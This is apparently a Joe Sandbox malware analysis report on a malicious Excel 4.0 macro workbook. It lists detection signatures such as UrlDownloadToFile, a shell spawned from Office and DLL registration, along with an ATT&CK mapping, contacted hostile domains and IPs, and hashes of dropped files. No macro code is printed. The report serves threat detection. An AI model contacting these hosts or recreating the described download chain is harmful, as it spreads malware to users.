Play interactive tour
Edit tourAnalysis Report audit-78958169.xlsb
Overview
General Information
| Sample Name: | audit-78958169.xlsb |
| Analysis ID: | 432395 |
| MD5: | 89b9bbe193a7ba34b8e1d3f619a5ce0e |
| SHA1: | 8bb384c33a5afda473e673ad1749ec0479ef7551 |
| SHA256: | e96919ae28abab397e13ac2b1a2024cbe0f742c9082d874073c6fe6ba015ad74 |
| Infos: | |
Most interesting Screenshot:  | |
Detection
Hidden Macro 4.0
| Score: | 76 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Document exploit detected (creates forbidden files)
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Document exploit detected (UrlDownloadToFile)
Document exploit detected (process start blacklist hit)
Found Excel 4.0 Macro with suspicious formulas
Found abnormal large hidden Excel 4.0 Macro sheet
Sigma detected: Microsoft Office Product Spawning Windows Shell
JA3 SSL client fingerprint seen in connection with other malware
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Registers a DLL
Tries to load missing DLLs
Yara detected Xls With Macro 4.0
Classification
Process Tree |
|---|
|
Malware Configuration |
|---|
| No configs have been found |
|---|
Yara Overview |
|---|
Initial Sample |
|---|
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_XlsWithMacro4 | Yara detected Xls With Macro 4.0 | Joe Security |
Sigma Overview |
|---|
System Summary: |   |
|---|
| Sigma detected: Microsoft Office Product Spawning Windows Shell | Show sources | ||
| Source: | Author: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: | ||
Signature Overview |
|---|
Click to jump to signature section
Show All Signature Results
| Source: | File opened: | Jump to behavior | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
Software Vulnerabilities: | |
|---|
| Document exploit detected (creates forbidden files) | Show sources | ||
| Source: | File created: | Jump to behavior | ||
| Document exploit detected (UrlDownloadToFile) | Show sources | ||
| Source: | Section loaded: | Jump to behavior | ||
| Document exploit detected (process start blacklist hit) | Show sources | ||
| Source: | Process created: | ||
| Source: | DNS query: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | JA3 fingerprint: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | DNS traffic detected: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
System Summary: | |
|---|
| Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros) | Show sources | ||
| Source: | Screenshot OCR: | ||
| Found Excel 4.0 Macro with suspicious formulas | Show sources | ||
| Source: | Initial sample: | ||
| Found abnormal large hidden Excel 4.0 Macro sheet | Show sources | ||
| Source: | Initial sample: | ||
| Source: | Initial sample: | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Classification label: | ||
| Source: | File created: | Jump to behavior | ||
| Source: | File created: | Jump to behavior | ||
| Source: | File read: | Jump to behavior | ||
| Source: | Key opened: | Jump to behavior | ||
| Source: | Process created: | |||
| Source: | Process created: | |||
| Source: | Process created: | |||
| Source: | Process created: | Jump to behavior | ||
| Source: | Process created: | Jump to behavior | ||
| Source: | Window detected: | ||
| Source: | Initial sample: | ||
| Source: | Initial sample: | ||
| Source: | Initial sample: | ||
| Source: | Initial sample: | ||
| Source: | Initial sample: | ||
| Source: | Initial sample: | ||
| Source: | Key opened: | Jump to behavior | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | Process created: | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | File source: | ||
Mitre Att&ck Matrix |
|---|
| Initial Access | Execution | Persistence | Privilege Escalation | Defense Evasion | Credential Access | Discovery | Lateral Movement | Collection | Exfiltration | Command and Control | Network Effects | Remote Service Effects | Impact |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Valid Accounts | Scripting2 | DLL Side-Loading1 | Process Injection1 | Regsvr321 | OS Credential Dumping | File and Directory Discovery1 | Remote Services | Data from Local System | Exfiltration Over Other Network Medium | Encrypted Channel2 | Eavesdrop on Insecure Network Communication | Remotely Track Device Without Authorization | Modify System Partition |
| Default Accounts | Exploitation for Client Execution33 | Boot or Logon Initialization Scripts | DLL Side-Loading1 | Masquerading1 | LSASS Memory | System Information Discovery2 | Remote Desktop Protocol | Data from Removable Media | Exfiltration Over Bluetooth | Non-Application Layer Protocol1 | Exploit SS7 to Redirect Phone Calls/SMS | Remotely Wipe Data Without Authorization | Device Lockout |
| Domain Accounts | At (Linux) | Logon Script (Windows) | Logon Script (Windows) | Disable or Modify Tools1 | Security Account Manager | Query Registry | SMB/Windows Admin Shares | Data from Network Shared Drive | Automated Exfiltration | Application Layer Protocol2 | Exploit SS7 to Track Device Location | Obtain Device Cloud Backups | Delete Device Data |
| Local Accounts | At (Windows) | Logon Script (Mac) | Logon Script (Mac) | Process Injection1 | NTDS | System Network Configuration Discovery | Distributed Component Object Model | Input Capture | Scheduled Transfer | Protocol Impersonation | SIM Card Swap | Carrier Billing Fraud | |
| Cloud Accounts | Cron | Network Logon Script | Network Logon Script | Scripting2 | LSA Secrets | Remote System Discovery | SSH | Keylogging | Data Transfer Size Limits | Fallback Channels | Manipulate Device Communication | Manipulate App Store Rankings or Ratings | |
| Replication Through Removable Media | Launchd | Rc.common | Rc.common | DLL Side-Loading1 | Cached Domain Credentials | System Owner/User Discovery | VNC | GUI Input Capture | Exfiltration Over C2 Channel | Multiband Communication | Jamming or Denial of Service | Abuse Accessibility Features |
Behavior Graph |
|---|
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
InternetScreenshots |
|---|
Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
Antivirus, Machine Learning and Genetic Malware Detection |
|---|
Initial Sample |
|---|
| No Antivirus matches |
|---|
Dropped Files |
|---|
| No Antivirus matches |
|---|
Unpacked PE Files |
|---|
| No Antivirus matches |
|---|
Domains |
|---|
| No Antivirus matches |
|---|
URLs |
|---|
| Source | Detection | Scanner | Label | Link |
|---|---|---|---|---|
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | Avira URL Cloud | safe |
Domains and IPs |
|---|
Contacted Domains |
|---|
| Name | IP | Active | Malicious | Antivirus Detection | Reputation |
|---|---|---|---|---|---|
| dreamhimalayan.com | 192.185.113.120 | true | false | unknown | |
| forfacks.com | 192.185.48.167 | true | false | unknown |
URLs from Memory and Binaries |
|---|
| Name | Source | Malicious | Antivirus Detection | Reputation |
|---|---|---|---|---|
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown |
Contacted IPs |
|---|
- No. of IPs < 25%
- 25% < No. of IPs < 50%
- 50% < No. of IPs < 75%
- 75% < No. of IPs
Public |
|---|
| IP | Domain | Country | Flag | ASN | ASN Name | Malicious |
|---|---|---|---|---|---|---|
| 192.185.48.167 | forfacks.com | United States | 46606 | UNIFIEDLAYER-AS-1US | false | |
| 192.185.113.120 | dreamhimalayan.com | United States | 46606 | UNIFIEDLAYER-AS-1US | false |
General Information |
|---|
| Joe Sandbox Version: | 32.0.0 Black Diamond |
| Analysis ID: | 432395 |
| Start date: | 10.06.2021 |
| Start time: | 09:10:55 |
| Joe Sandbox Product: | CloudBasic |
| Overall analysis duration: | 0h 4m 57s |
| Hypervisor based Inspection enabled: | false |
| Report type: | full |
| Sample file name: | audit-78958169.xlsb |
| Cookbook file name: | defaultwindowsofficecookbook.jbs |
| Analysis system description: | Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211 |
| Number of analysed new started processes analysed: | 19 |
| Number of new started drivers analysed: | 0 |
| Number of existing processes analysed: | 0 |
| Number of existing drivers analysed: | 0 |
| Number of injected processes analysed: | 0 |
| Technologies: |
|
| Analysis Mode: | default |
| Analysis stop reason: | Timeout |
| Detection: | MAL |
| Classification: | mal76.expl.evad.winXLSB@5/12@2/2 |
| EGA Information: | Failed |
| HDC Information: | Failed |
| HCA Information: |
|
| Cookbook Comments: |
|
| Warnings: | Show All
|
Simulations |
|---|
Behavior and APIs |
|---|
| No simulations |
|---|
Joe Sandbox View / Context |
|---|
IPs |
|---|
| Match | Associated Sample Name / URL | SHA 256 | Detection | Link | Context |
|---|---|---|---|---|---|
| 192.185.48.167 | Get hash | malicious | Browse | ||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| 192.185.113.120 | Get hash | malicious | Browse |
| |
| Get hash | malicious | Browse |
|
Domains |
|---|
| Match | Associated Sample Name / URL | SHA 256 | Detection | Link | Context |
|---|---|---|---|---|---|
| dreamhimalayan.com | Get hash | malicious | Browse |
| |
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| forfacks.com | Get hash | malicious | Browse |
| |
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
|
ASN |
|---|
| Match | Associated Sample Name / URL | SHA 256 | Detection | Link | Context |
|---|---|---|---|---|---|
| UNIFIEDLAYER-AS-1US | Get hash | malicious | Browse |
| |
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| UNIFIEDLAYER-AS-1US | Get hash | malicious | Browse |
| |
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
|
JA3 Fingerprints |
|---|
| Match | Associated Sample Name / URL | SHA 256 | Detection | Link | Context |
|---|---|---|---|---|---|
| 37f463bf4616ecd445d4a1937da06e19 | Get hash | malicious | Browse |
| |
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
|
Dropped Files |
|---|
| No context |
|---|
Created / dropped Files |
|---|
| Process: | C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 134922 |
| Entropy (8bit): | 5.369105203882803 |
| Encrypted: | false |
| SSDEEP: | 1536:VcQIKNEeBXA3gBwlpQ9DQW+z7534ZliKWXboOilX5ENLWME9:hEQ9DQW+ziXOe |
| MD5: | 1B0A0FEF9868ACFB7DA3233679C67C68 |
| SHA1: | D5E6771AF2A017AD54B476791B83FA4C3AADA67A |
| SHA-256: | F15B8E94F6C610AB2734669C12880E0201A2BBE6C5A3B830AAE6487AAF93ABA4 |
| SHA-512: | 7B184C143982F0BF6E62C7F937FB4B33ACF72D909ABF36516FCB45E43341F188CD74D62AB802E9C7C1D0BE3F7D66A2DD958FDF16AB73DED5B71A37357B85140D |
| Malicious: | false |
| Reputation: | low |
| Preview: |
|
| Process: | C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 18547 |
| Entropy (8bit): | 7.9850486438978985 |
| Encrypted: | false |
| SSDEEP: | 384:kBCIQCloAwCZDy0xOTn6/g6l4NpWfw9nHk6Ka01f7Y/H:kBCIQpAwODPMT6/gfOUKN70 |
| MD5: | ED31C7053D581EDC4C98D222CE02EDEF |
| SHA1: | 6BA7A49CC6FF8FE00E9C5BC75F48AB7E679536DD |
| SHA-256: | 0FCF61397154DF01CFAECA362BD643D88AAD5FEDD07B52DC8A921CC0D7236534 |
| SHA-512: | 929BF13F2A050B33D0EABDAC97CAAFDDE612AD521027FEE4DD51E28A3CF61198D6C045E00AB85223C73D74D18BB4EAA1681C7AFA917946DC08A3C75FB2AB4935 |
| Malicious: | false |
| Reputation: | moderate, very likely benign file |
| Preview: |
|
| Process: | C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 848 |
| Entropy (8bit): | 7.595467031611744 |
| Encrypted: | false |
| SSDEEP: | 24:NLJZbn0jL5Q3H/hbqzej+0C3Yi6yyuq53q:JIjm3pQCLWYi67lc |
| MD5: | 02DB1068B56D3FD907241C2F3240F849 |
| SHA1: | 58EC338C879DDBDF02265CBEFA9A2FB08C569D20 |
| SHA-256: | D58FF94F5BB5D49236C138DC109CE83E82879D0D44BE387B0EA3773D908DD25F |
| SHA-512: | 9057CE6FA62F83BB3F3EFAB2E5142ABC41190C08846B90492C37A51F07489F69EDA1D1CA6235C2C8510473E8EA443ECC5694E415AEAF3C7BD07F864212064678 |
| Malicious: | false |
| Reputation: | moderate, very likely benign file |
| Preview: |
|
| Process: | C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE |
| File Type: | |
